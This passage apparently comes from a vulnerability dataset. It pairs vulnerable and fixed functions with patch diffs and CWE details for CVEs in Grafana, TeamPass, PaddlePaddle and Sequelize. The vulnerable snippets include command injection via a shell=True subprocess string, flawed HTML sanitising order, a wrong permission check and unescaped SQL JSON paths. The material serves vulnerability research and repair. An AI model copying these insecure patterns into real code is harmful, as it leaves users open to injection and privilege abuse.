datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodPost + \"/api/alertmanager/{DatasourceUID}/api/v2/alerts\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstancesExternalWrite, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\n\t// Prometheus-compatible Paths\n\tcase http.MethodGet + \"/api/prometheus/{DatasourceUID}/api/v1/alerts\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingInstancesExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\n\t// Notification Policies, Contact Points and Templates\n\n\t// Grafana Paths\n\tcase http.MethodDelete + \"/api/alertmanager/grafana/config/api/v1/alerts\": // reset alertmanager config to the default\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsWrite)\n\tcase http.MethodGet + \"/api/alertmanager/grafana/config/api/v1/alerts\":\n\t\tfallback = middleware.ReqEditorRole\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)\n\tcase http.MethodGet + \"/api/alertmanager/grafana/config/history\":\n\t\tfallback = middleware.ReqEditorRole\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)\n\tcase http.MethodGet + \"/api/alertmanager/grafana/api/v2/status\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)\n\tcase http.MethodPost + \"/api/alertmanager/grafana/config/api/v1/alerts\":\n\t\t// additional authorization is done in the request handler\n\t\teval = ac.EvalAny(ac.EvalPermission(ac.ActionAlertingNotificationsWrite))\n\tcase http.MethodGet + \"/api/alertmanager/grafana/config/api/v1/receivers\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)\n\tcase http.MethodPost + \"/api/alertmanager/grafana/config/api/v1/receivers/test\":\n\t\tfallback = middleware.ReqEditorRole\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsWrite)\n\n\t// External Alertmanager Paths\n\tcase http.MethodDelete + \"/api/alertmanager/{DatasourceUID}/config/api/v1/alerts\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsExternalWrite, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodGet + \"/api/alertmanager/{DatasourceUID}/api/v2/status\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodGet + \"/api/alertmanager/{DatasourceUID}/config/api/v1/alerts\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsExternalRead, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\tcase http.MethodPost + \"/api/alertmanager/{DatasourceUID}/config/api/v1/alerts\":\n\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsExternalWrite, datasources.ScopeProvider.GetResourceScopeUID(ac.Parameter(\":DatasourceUID\")))\n\n\tcase http.MethodGet + \"/api/v1/ngalert\":\n\t\t// let user with any alerting permission access this API\n\t\teval = ac.EvalAny(\n\t\t\tac.EvalPermission(ac.ActionAlertingInstanceRead),\n\t\t\tac.EvalPermission(ac.ActionAlertingInstancesExternalRead),\n\t\t\tac.EvalPermission(ac.ActionAlertingRuleRead),\n\t\t\tac.EvalPermission(ac.ActionAlertingRuleExternalRead),\n\t\t\tac.EvalPermission(ac.ActionAlertingNotificationsRead),\n\t\t\tac.EvalPermission(ac.ActionAlertingNotificationsExternalRead),\n\t\t)\n\t// Raw Alertmanager Config Paths\n\tcase http.MethodDelete + \"/api/v1/ngalert/admin_config\",\n\t\thttp.MethodGet + \"/api/v1/ngalert/admin_config\",\n\t\thttp.MethodPost + \"/api/v1/ngalert/admin_config\",\n\t\thttp.MethodGet + \"/api/v1/ngalert/alertmanagers\":\n\t\treturn middleware.ReqOrgAdmin\n\n\t// Grafana-only Provisioning Read Paths\n\tcase http.MethodGet + \"/api/v1/provisioning/policies\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/contact-points\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/templates\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/templates/{name}\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/mute-timings\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/mute-timings/{name}\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/alert-rules\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/alert-rules/{UID}\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/alert-rules/export\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/alert-rules/{UID}/export\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/folder/{FolderUID}/rule-groups/{Group}\",\n\t\thttp.MethodGet + \"/api/v1/provisioning/folder/{FolderUID}/rule-groups/{Group}/export\":\n\t\tfallback = middleware.ReqOrgAdmin\n\t\teval = ac.EvalPermission(ac.ActionAlertingProvisioningRead) // organization scope\n\n\tcase http.MethodPut + \"/api/v1/provisioning/policies\",\n\t\thttp.MethodDelete + \"/api/v1/provisioning/policies\",\n\t\thttp.MethodPost + \"/api/v1/provisioning/contact-points\",\n\t\thttp.MethodPut + \"/api/v1/provisioning/contact-points/{UID}\",\n\t\thttp.MethodDelete + \"/api/v1/provisioning/contact-points/{UID}\",\n\t\thttp.MethodPut + \"/api/v1/provisioning/templates/{name}\",\n\t\thttp.MethodDelete + \"/api/v1/provisioning/templates/{name}\",\n\t\thttp.MethodPost + \"/api/v1/provisioning/mute-timings\",\n\t\thttp.MethodPut + \"/api/v1/provisioning/mute-timings/{name}\",\n\t\thttp.MethodDelete + \"/api/v1/provisioning/mute-timings/{name}\",\n\t\thttp.MethodPost + \"/api/v1/provisioning/alert-rules\",\n\t\thttp.MethodPut + \"/api/v1/provisioning/alert-rules/{UID}\",\n\t\thttp.MethodDelete + \"/api/v1/provisioning/alert-rules/{UID}\",\n\t\thttp.MethodPut + \"/api/v1/provisioning/folder/{FolderUID}/rule-groups/{Group}\":\n\t\tfallback = middleware.ReqOrgAdmin\n\t\teval = ac.EvalPermission(ac.ActionAlertingProvisioningWrite) // organization scope\n\t}\n\n\tif eval != nil {\n\t\treturn authorize(fallback, eval)\n\t}\n\n\tpanic(fmt.Sprintf(\"no authorization handler for method [%s] of endpoint [%s]\", method, path))\n}"}], "vul_patch": "--- a/pkg/services/ngalert/api/authorization.go\n+++ b/pkg/services/ngalert/api/authorization.go\n@@ -148,7 +148,7 @@\n \t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)\n \tcase http.MethodPost + \"/api/alertmanager/grafana/config/api/v1/receivers/test\":\n \t\tfallback = middleware.ReqEditorRole\n-\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)\n+\t\teval = ac.EvalPermission(ac.ActionAlertingNotificationsWrite)\n \n \t// External Alertmanager Paths\n \tcase http.MethodDelete + \"/api/alertmanager/{DatasourceUID}/config/api/v1/alerts\":\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-3552", "cve_description": "Improper Encoding or Escaping of Output in GitHub repository nilsteampassnet/teampass prior to 3.0.10.", "cwe_info": {"CWE-116": {"name": "Improper Encoding or Escaping of Output", "description": "The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved."}}, "repo": "https://github.com/nilsteampassnet/teampass", "patch_url": ["https://github.com/nilsteampassnet/teampass/commit/8acb4dacc2d008a4186a4e13cc143e978f113955"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_252_1", "commit": "cc6abc7", "file_path": "includes/js/functions.js", "start_line": "393", "end_line": "416", "snippet": "function simplePurifier(\n    text,\n    bHtml = false,\n    bSvg = false,\n    bSvgFilters = false\n) \n{\n    return DOMPurify.sanitize(\n        sanitizeDom(text)\n            .replaceAll('&lt;', '<')\n            .replaceAll('&#x3C;', '<')\n            .replaceAll('&#60;', '<')\n            .replaceAll('&gt;', '>')\n            .replaceAll('&#x3E;', '>')\n            .replaceAll('&#62;', '>')\n            .replaceAll('&amp;', '&')\n            .replaceAll('&#38;', '&')\n            .replaceAll('&#x26;', '&')\n            .replaceAll('&quot;', '\"')\n            .replaceAll('&#34;;', '\"')\n            .replaceAll('&#x22;', '\"')\n            .replaceAll('&#39;', \"'\"),\n        {USE_PROFILES: {html:bHtml, svg:bSvg, svgFilters: bSvgFilters}}\n    );"}], "fix_func": [{"id": "fix_js_252_1", "commit": "8acb4da", "file_path": "includes/js/functions.js", "start_line": "393", "end_line": "420", "snippet": "function simplePurifier(\n    text,\n    bHtml = false,\n    bSvg = false,\n    bSvgFilters = false\n) \n{\n    return sanitizeDom(\n        DOMPurify.sanitize(\n            text\n                .replaceAll('&lt;', '<')\n                .replaceAll('&#x3C;', '<')\n                .replaceAll('&#x3c;', '<')\n                .replaceAll('&#60;', '<')\n                .replaceAll('&gt;', '>')\n                .replaceAll('&#x3E;', '>')\n                .replaceAll('&#x3e;', '>')\n                .replaceAll('&#62;', '>')\n                .replaceAll('&amp;', '&')\n                .replaceAll('&#38;', '&')\n                .replaceAll('&#x26;', '&')\n                .replaceAll('&quot;', '\"')\n                .replaceAll('&#34;;', '\"')\n                .replaceAll('&#x22;', '\"')\n                .replaceAll('&#39;', \"'\"),\n            {USE_PROFILES: {html:bHtml, svg:bSvg, svgFilters: bSvgFilters}}\n        )\n    );"}], "vul_patch": "--- a/includes/js/functions.js\n+++ b/includes/js/functions.js\n@@ -5,20 +5,24 @@\n     bSvgFilters = false\n ) \n {\n-    return DOMPurify.sanitize(\n-        sanitizeDom(text)\n-            .replaceAll('&lt;', '<')\n-            .replaceAll('&#x3C;', '<')\n-            .replaceAll('&#60;', '<')\n-            .replaceAll('&gt;', '>')\n-            .replaceAll('&#x3E;', '>')\n-            .replaceAll('&#62;', '>')\n-            .replaceAll('&amp;', '&')\n-            .replaceAll('&#38;', '&')\n-            .replaceAll('&#x26;', '&')\n-            .replaceAll('&quot;', '\"')\n-            .replaceAll('&#34;;', '\"')\n-            .replaceAll('&#x22;', '\"')\n-            .replaceAll('&#39;', \"'\"),\n-        {USE_PROFILES: {html:bHtml, svg:bSvg, svgFilters: bSvgFilters}}\n+    return sanitizeDom(\n+        DOMPurify.sanitize(\n+            text\n+                .replaceAll('&lt;', '<')\n+                .replaceAll('&#x3C;', '<')\n+                .replaceAll('&#x3c;', '<')\n+                .replaceAll('&#60;', '<')\n+                .replaceAll('&gt;', '>')\n+                .replaceAll('&#x3E;', '>')\n+                .replaceAll('&#x3e;', '>')\n+                .replaceAll('&#62;', '>')\n+                .replaceAll('&amp;', '&')\n+                .replaceAll('&#38;', '&')\n+                .replaceAll('&#x26;', '&')\n+                .replaceAll('&quot;', '\"')\n+                .replaceAll('&#34;;', '\"')\n+                .replaceAll('&#x22;', '\"')\n+                .replaceAll('&#39;', \"'\"),\n+            {USE_PROFILES: {html:bHtml, svg:bSvg, svgFilters: bSvgFilters}}\n+        )\n     );\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-0817", "cve_description": "Command injection in IrGraph.draw in paddlepaddle/paddle 2.6.0", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/PaddlePaddle/Paddle", "patch_url": ["https://github.com/PaddlePaddle/Paddle/commit/bdf6234fdc22e6ee7948950d271cbbe1d27edc93"], "programing_language": "Python", "vul_func": [{"id": "vul_py_121_1", "commit": "98c5d5a", "file_path": "python/paddle/base/framework.py", "start_line": 5655, "end_line": 5663, "snippet": "        def _convert_to_pdf(dot_file_path):\n            pdf_save_path = os.path.splitext(dot_file_path)[0] + '.pdf'\n            exited_code = subprocess.call(\n                'dot -Tpdf ' + dot_file_path + ' -o ' + pdf_save_path,\n                shell=True,\n            )\n            if exited_code != 0:\n                print('The dot command is needed for creating pdf files.')\n                print(f'The {dot_file_path} is saved as the dot filetype.')"}], "fix_func": [{"id": "fix_py_121_1", "commit": "bdf6234", "file_path": "python/paddle/base/framework.py", "start_line": 5655, "end_line": 5662, "snippet": "        def _convert_to_pdf(dot_file_path):\n            pdf_save_path = os.path.splitext(dot_file_path)[0] + '.pdf'\n            exited_code = subprocess.call(\n                ['dot', '-Tpdf', dot_file_path, '-o', pdf_save_path]\n            )\n            if exited_code != 0:\n                print('The dot command is needed for creating pdf files.')\n                print(f'The {dot_file_path} is saved as the dot filetype.')"}], "vul_patch": "--- a/python/paddle/base/framework.py\n+++ b/python/paddle/base/framework.py\n@@ -1,8 +1,7 @@\n         def _convert_to_pdf(dot_file_path):\n             pdf_save_path = os.path.splitext(dot_file_path)[0] + '.pdf'\n             exited_code = subprocess.call(\n-                'dot -Tpdf ' + dot_file_path + ' -o ' + pdf_save_path,\n-                shell=True,\n+                ['dot', '-Tpdf', dot_file_path, '-o', pdf_save_path]\n             )\n             if exited_code != 0:\n                 print('The dot command is needed for creating pdf files.')\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-10752", "cve_description": "Sequelize, all versions prior to version 4.44.3 and 5.15.1, is vulnerable to SQL Injection due to sequelize.json() helper function not escaping values properly when formatting sub paths for JSON queries for MySQL, MariaDB and SQLite.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/sequelize/sequelize", "patch_url": ["https://github.com/sequelize/sequelize/commit/9bd0bc111b6f502223edf7e902680f7cc2ed541e"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_161_1", "commit": "83e263b", "file_path": "lib/dialects/abstract/query-generator.js", "start_line": 1062, "end_line": 1097, "snippet": "  jsonPathExtractionQuery(column, path) {\n    let paths = _.toPath(path);\n    let pathStr;\n    const quotedColumn = this.isIdentifierQuoted(column)\n      ? column\n      : this.quoteIdentifier(column);\n\n    switch (this.dialect) {\n      case 'mysql':\n        /**\n         * Sub paths need to be quoted as ECMAScript identifiers\n         * https://bugs.mysql.com/bug.php?id=81896\n         */\n        paths = paths.map(subPath => Utils.addTicks(subPath, '\"'));\n        pathStr = this.escape(['$'].concat(paths).join('.'));\n        return `(${quotedColumn}->>${pathStr})`;\n\n      case 'mariadb':\n        pathStr = this.escape(['$'].concat(paths).join('.'));\n        return `json_unquote(json_extract(${quotedColumn},${pathStr}))`;\n\n      case 'sqlite':\n        pathStr = this.escape(['$']\n          .concat(paths)\n          .join('.')\n          .replace(/\\.(\\d+)(?:(?=\\.)|$)/g, (_, digit) => `[${digit}]`));\n        return `json_extract(${quotedColumn}, ${pathStr})`;\n\n      case 'postgres':\n        pathStr = this.escape(`{${paths.join(',')}}`);\n        return `(${quotedColumn}#>>${pathStr})`;\n\n      default:\n        throw new Error(`Unsupported ${this.dialect} for JSON operations`);\n    }\n  }"}, {"id": "vul_js_161_2", "commit": "83e263b", "file_path": "lib/dialects/mysql/query-generator.js", "start_line": 207, "end_line": 267, "snippet": "  handleSequelizeMethod(smth, tableName, factory, options, prepend) {\n    if (smth instanceof Utils.Json) {\n      // Parse nested object\n      if (smth.conditions) {\n        const conditions = this.parseConditionObject(smth.conditions).map(condition =>\n          `${this.quoteIdentifier(condition.path[0])}->>'$.${_.tail(condition.path).join('.')}' = '${condition.value}'`\n        );\n\n        return conditions.join(' and ');\n      }\n      if (smth.path) {\n        let str;\n\n        // Allow specifying conditions using the sqlite json functions\n        if (this._checkValidJsonStatement(smth.path)) {\n          str = smth.path;\n        } else {\n          // Also support json dot notation\n          let path = smth.path;\n          let startWithDot = true;\n\n          // Convert .number. to [number].\n          path = path.replace(/\\.(\\d+)\\./g, '[$1].');\n          // Convert .number$ to [number]\n          path = path.replace(/\\.(\\d+)$/, '[$1]');\n\n          path = path.split('.');\n\n          let columnName = path.shift();\n          const match = columnName.match(/\\[\\d+\\]$/);\n          // If columnName ends with [\\d+]\n          if (match !== null) {\n            path.unshift(columnName.substr(match.index));\n            columnName = columnName.substr(0, match.index);\n            startWithDot = false;\n          }\n\n          str = `${this.quoteIdentifier(columnName)}->>'$${startWithDot ? '.' : ''}${path.join('.')}'`;\n        }\n\n        if (smth.value) {\n          str += util.format(' = %s', this.escape(smth.value));\n        }\n\n        return str;\n      }\n    } else if (smth instanceof Utils.Cast) {\n      if (/timestamp/i.test(smth.type)) {\n        smth.type = 'datetime';\n      } else if (smth.json && /boolean/i.test(smth.type)) {\n        // true or false cannot be casted as booleans within a JSON structure\n        smth.type = 'char';\n      } else if (/double precision/i.test(smth.type) || /boolean/i.test(smth.type) || /integer/i.test(smth.type)) {\n        smth.type = 'decimal';\n      } else if (/text/i.test(smth.type)) {\n        smth.type = 'char';\n      }\n    }\n\n    return super.handleSequelizeMethod(smth, tableName, factory, options, prepend);\n  }"}, {"id": "vul_js_161_3", "commit": "83e263b", "file_path": "lib/dialects/sqlite/query-generator.js", "start_line": 150, "end_line": 186, "snippet": "  handleSequelizeMethod(smth, tableName, factory, options, prepend) {\n    if (smth instanceof Utils.Json) {\n      // Parse nested object\n      if (smth.conditions) {\n        const conditions = this.parseConditionObject(smth.conditions).map(condition =>\n          `${this.jsonPathExtractionQuery(condition.path[0], _.tail(condition.path))} = '${condition.value}'`\n        );\n\n        return conditions.join(' AND ');\n      }\n      if (smth.path) {\n        let str;\n\n        // Allow specifying conditions using the sqlite json functions\n        if (this._checkValidJsonStatement(smth.path)) {\n          str = smth.path;\n        } else {\n          // Also support json property accessors\n          const paths = _.toPath(smth.path);\n          const column = paths.shift();\n          str = this.jsonPathExtractionQuery(column, paths);\n        }\n\n        if (smth.value) {\n          str += util.format(' = %s', this.escape(smth.value));\n        }\n\n        return str;\n      }\n    } else if (smth instanceof Utils.Cast) {\n      if (/timestamp/i.test(smth.type)) {\n        smth.type = 'datetime';\n      }\n    }\n\n    return AbstractQueryGenerator.prototype.handleSequelizeMethod.call(this, smth, tableName, factory, options, prepend);\n  }"}, {"id": "vul_js_161_4", "commit": "83e263b", "file_path": "lib/dialects/mariadb/query-generator.js", "start_line": 35, "end_line": 100, "snippet": "  handleSequelizeMethod(smth, tableName, factory, options, prepend) {\n    if (smth instanceof Utils.Json) {\n      // Parse nested object\n      if (smth.conditions) {\n        const conditions = this.parseConditionObject(smth.conditions).map(\n          condition =>\n            `json_unquote(json_extract(${this.quoteIdentifier(\n              condition.path[0])},'$.${_.tail(condition.path).join(\n              '.')}')) = '${condition.value}'`\n        );\n\n        return conditions.join(' and ');\n      }\n      if (smth.path) {\n        let str;\n\n        // Allow specifying conditions using the sqlite json functions\n        if (this._checkValidJsonStatement(smth.path)) {\n          str = smth.path;\n        } else {\n          // Also support json dot notation\n          let path = smth.path;\n          let startWithDot = true;\n\n          // Convert .number. to [number].\n          path = path.replace(/\\.(\\d+)\\./g, '[$1].');\n          // Convert .number$ to [number]\n          path = path.replace(/\\.(\\d+)$/, '[$1]');\n\n          path = path.split('.');\n\n          let columnName = path.shift();\n          const match = columnName.match(/\\[\\d+\\]$/);\n          // If columnName ends with [\\d+]\n          if (match !== null) {\n            path.unshift(columnName.substr(match.index));\n            columnName = columnName.substr(0, match.index);\n            startWithDot = false;\n          }\n\n          str = `json_unquote(json_extract(${this.quoteIdentifier(\n            columnName)},'$${startWithDot ? '.' : ''}${path.join('.')}'))`;\n        }\n\n        if (smth.value) {\n          str += util.format(' = %s', this.escape(smth.value));\n        }\n\n        return str;\n      }\n    } else if (smth instanceof Utils.Cast) {\n      const lowType = smth.type.toLowerCase();\n      if (lowType.includes('timestamp')) {\n        smth.type = 'datetime';\n      } else if (smth.json && lowType.includes('boolean')) {\n        // true or false cannot be casted as booleans within a JSON structure\n        smth.type = 'char';\n      } else if (lowType.includes('double precision') || lowType.includes('boolean') || lowType.includes('integer')) {\n        smth.type = 'decimal';\n      } else if (lowType.includes('text')) {\n        smth.type = 'char';\n      }\n    }\n\n    return super.handleSequelizeMethod(smth, tableName, factory, options, prepend);\n  }"}], "fix_func": [{"id": "fix_js_161_1", "commit": "9bd0bc1", "file_path": "lib/dialects/abstract/query-generator.js", "start_line": 1062, "end_line": 1103, "snippet": "  jsonPathExtractionQuery(column, path) {\n    let paths = _.toPath(path);\n    let pathStr;\n    const quotedColumn = this.isIdentifierQuoted(column)\n      ? column\n      : this.quoteIdentifier(column);\n\n    switch (this.dialect) {\n      case 'mysql':\n      case 'mariadb':\n      case 'sqlite':\n        /**\n         * Non digit sub paths need to be quoted as ECMAScript identifiers\n         * https://bugs.mysql.com/bug.php?id=81896\n         */\n        if (this.dialect === 'mysql') {\n          paths = paths.map(subPath => {\n            return /\\D/.test(subPath)\n              ? Utils.addTicks(subPath, '\"')\n              : subPath;\n          });\n        }\n\n        pathStr = this.escape(['$']\n          .concat(paths)\n          .join('.')\n          .replace(/\\.(\\d+)(?:(?=\\.)|$)/g, (__, digit) => `[${digit}]`));\n\n        if (this.dialect === 'sqlite') {\n          return `json_extract(${quotedColumn},${pathStr})`;\n        }\n\n        return `json_unquote(json_extract(${quotedColumn},${pathStr}))`;\n\n      case 'postgres':\n        pathStr = this.escape(`{${paths.join(',')}}`);\n        return `(${quotedColumn}#>>${pathStr})`;\n\n      default:\n        throw new Error(`Unsupported ${this.dialect} for JSON operations`);\n    }\n  }"}, {"id": "fix_js_161_2", "commit": "9bd0bc1", "file_path": "lib/dialects/mysql/query-generator.js", "start_line": 207, "end_line": 250, "snippet": "  handleSequelizeMethod(smth, tableName, factory, options, prepend) {\n    if (smth instanceof Utils.Json) {\n      // Parse nested object\n      if (smth.conditions) {\n        const conditions = this.parseConditionObject(smth.conditions).map(condition =>\n          `${this.jsonPathExtractionQuery(condition.path[0], _.tail(condition.path))} = '${condition.value}'`\n        );\n\n        return conditions.join(' AND ');\n      }\n      if (smth.path) {\n        let str;\n\n        // Allow specifying conditions using the sqlite json functions\n        if (this._checkValidJsonStatement(smth.path)) {\n          str = smth.path;\n        } else {\n          // Also support json property accessors\n          const paths = _.toPath(smth.path);\n          const column = paths.shift();\n          str = this.jsonPathExtractionQuery(column, paths);\n        }\n\n        if (smth.value) {\n          str += util.format(' = %s', this.escape(smth.value));\n        }\n\n        return str;\n      }\n    } else if (smth instanceof Utils.Cast) {\n      if (/timestamp/i.test(smth.type)) {\n        smth.type = 'datetime';\n      } else if (smth.json && /boolean/i.test(smth.type)) {\n        // true or false cannot be casted as booleans within a JSON structure\n        smth.type = 'char';\n      } else if (/double precision/i.test(smth.type) || /boolean/i.test(smth.type) || /integer/i.test(smth.type)) {\n        smth.type = 'decimal';\n      } else if (/text/i.test(smth.type)) {\n        smth.type = 'char';\n      }\n    }\n\n    return super.handleSequelizeMethod(smth, tableName, factory, options, prepend);\n  }"}, {"id": "fix_js_161_3", "commit": "9bd0bc1", "file_path": "lib/dialects/sqlite/query-generator.js", "start_line": 149, "end_line": 161, "snippet": "  handleSequelizeMethod(smth, tableName, factory, options, prepend) {\n    if (smth instanceof Utils.Json) {\n      return super.handleSequelizeMethod(smth, tableName, factory, options, prepend);\n    }\n\n    if (smth instanceof Utils.Cast) {\n      if (/timestamp/i.test(smth.type)) {\n        smth.type = 'datetime';\n      }\n    }\n\n    return AbstractQueryGenerator.prototype.handleSequelizeMethod.call(this, smth, tableName, factory, options, prepend);\n  }"}], "vul_patch": "--- a/lib/dialects/abstract/query-generator.js\n+++ b/lib/dialects/abstract/query-generator.js\n@@ -7,24 +7,30 @@\n \n     switch (this.dialect) {\n       case 'mysql':\n+      case 'mariadb':\n+      case 'sqlite':\n         /**\n-         * Sub paths need to be quoted as ECMAScript identifiers\n+         * Non digit sub paths need to be quoted as ECMAScript identifiers\n          * https://bugs.mysql.com/bug.php?id=81896\n          */\n-        paths = paths.map(subPath => Utils.addTicks(subPath, '\"'));\n-        pathStr = this.escape(['$'].concat(paths).join('.'));\n-        return `(${quotedColumn}->>${pathStr})`;\n+        if (this.dialect === 'mysql') {\n+          paths = paths.map(subPath => {\n+            return /\\D/.test(subPath)\n+              ? Utils.addTicks(subPath, '\"')\n+              : subPath;\n+          });\n+        }\n \n-      case 'mariadb':\n-        pathStr = this.escape(['$'].concat(paths).join('.'));\n-        return `json_unquote(json_extract(${quotedColumn},${pathStr}))`;\n-\n-      case 'sqlite':\n         pathStr = this.escape(['$']\n           .concat(paths)\n           .join('.')\n-          .replace(/\\.(\\d+)(?:(?=\\.)|$)/g, (_, digit) => `[${digit}]`));\n-        return `json_extract(${quotedColumn}, ${pathStr})`;\n+          .replace(/\\.(\\d+)(?:(?=\\.)|$)/g, (__, digit) => `[${digit}]`));\n+\n+        if (this.dialect === 'sqlite') {\n+          return `json_extract(${quotedColumn},${pathStr})`;\n+        }\n+\n+        return `json_unquote(json_extract(${quotedColumn},${pathStr}))`;\n \n       case 'postgres':\n         pathStr = this.escape(`{${paths.join(',')}}`);\n\n--- a/lib/dialects/mysql/query-generator.js\n+++ b/lib/dialects/mysql/query-generator.js\n@@ -3,10 +3,10 @@\n       // Parse nested object\n       if (smth.conditions) {\n         const conditions = this.parseConditionObject(smth.conditions).map(condition =>\n-          `${this.quoteIdentifier(condition.path[0])}->>'$.${_.tail(condition.path).join('.')}' = '${condition.value}'`\n+          `${this.jsonPathExtractionQuery(condition.path[0], _.tail(condition.path))} = '${condition.value}'`\n         );\n \n-        return conditions.join(' and ');\n+        return conditions.join(' AND ');\n       }\n       if (smth.path) {\n         let str;\n@@ -15,27 +15,10 @@\n         if (this._checkValidJsonStatement(smth.path)) {\n           str = smth.path;\n         } else {\n-          // Also support json dot notation\n-          let path = smth.path;\n-          let startWithDot = true;\n-\n-          // Convert .number. to [number].\n-          path = path.replace(/\\.(\\d+)\\./g, '[$1].');\n-          // Convert .number$ to [number]\n-          path = path.replace(/\\.(\\d+)$/, '[$1]');\n-\n-          path = path.split('.');\n-\n-          let columnName = path.shift();\n-          const match = columnName.match(/\\[\\d+\\]$/);\n-          // If columnName ends with [\\d+]\n-          if (match !== null) {\n-            path.unshift(columnName.substr(match.index));\n-            columnName = columnName.substr(0, match.index);\n-            startWithDot = false;\n-          }\n-\n-          str = `${this.quoteIdentifier(columnName)}->>'$${startWithDot ? '.' : ''}${path.join('.')}'`;\n+          // Also support json property accessors\n+          const paths = _.toPath(smth.path);\n+          const column = paths.shift();\n+          str = this.jsonPathExtractionQuery(column, paths);\n         }\n \n         if (smth.value) {\n\n--- a/lib/dialects/sqlite/query-generator.js\n+++ b/lib/dialects/sqlite/query-generator.js\n@@ -1,33 +1,9 @@\n   handleSequelizeMethod(smth, tableName, factory, options, prepend) {\n     if (smth instanceof Utils.Json) {\n-      // Parse nested object\n-      if (smth.conditions) {\n-        const conditions = this.parseConditionObject(smth.conditions).map(condition =>\n-          `${this.jsonPathExtractionQuery(condition.path[0], _.tail(condition.path))} = '${condition.value}'`\n-        );\n+      return super.handleSequelizeMethod(smth, tableName, factory, options, prepend);\n+    }\n \n-        return conditions.join(' AND ');\n-      }\n-      if (smth.path) {\n-        let str;\n-\n-        // Allow specifying conditions using the sqlite json functions\n-        if (this._checkValidJsonStatement(smth.path)) {\n-          str = smth.path;\n-        } else {\n-          // Also support json property accessors\n-          const paths = _.toPath(smth.path);\n-          const column = paths.shift();\n-          str = this.jsonPathExtractionQuery(column, paths);\n-        }\n-\n-        if (smth.value) {\n-          str += util.format(' = %s', this.escape(smth.value));\n-        }\n-\n-        return str;\n-      }\n-    } else if (smth instanceof Utils.Cast) {\n+    if (smth instanceof Utils.Cast) {\n       if (/timestamp/i.test(smth.type)) {\n         smth.type = 'datetime';\n       }\n\n--- a/lib/dialects/mariadb/query-generator.js\n+++ /dev/null\n@@ -1,66 +0,0 @@\n-  handleSequelizeMethod(smth, tableName, factory, options, prepend) {\n-    if (smth instanceof Utils.Json) {\n-      // Parse nested object\n-      if (smth.conditions) {\n-        const conditions = this.parseConditionObject(smth.conditions).map(\n-          condition =>\n-            `json_unquote(json_extract(${this.quoteIdentifier(\n-              condition.path[0])},'$.${_.tail(condition.path).join(\n-              '.')}')) = '${condition.value}'`\n-        );\n-\n-        return conditions.join(' and ');\n-      }\n-      if (smth.path) {\n-        let str;\n-\n-        // Allow specifying conditions using the sqlite json functions\n-        if (this._checkValidJsonStatement(smth.path)) {\n-          str = smth.path;\n-        } else {\n-          // Also support json dot notation\n-          let path = smth.path;\n-          let startWithDot = true;\n-\n-          // Convert .number. to [number].\n-          path = path.replace(/\\.(\\d+)\\./g, '[$1].');\n-          // Convert .number$ to [number]\n-          path = path.replace(/\\.(\\d+)$/, '[$1]');\n-\n-          path = path.split('.');\n-\n-          let columnName = path.shift();\n-          const match = columnName.match(/\\[\\d+\\]$/);\n-          // If columnName ends with [\\d+]\n-          if (match !== null) {\n-            path.unshift(columnName.substr(match.index));\n-            columnName = columnName.substr(0, match.index);\n-            startWithDot = false;\n-          }\n-\n-          str = 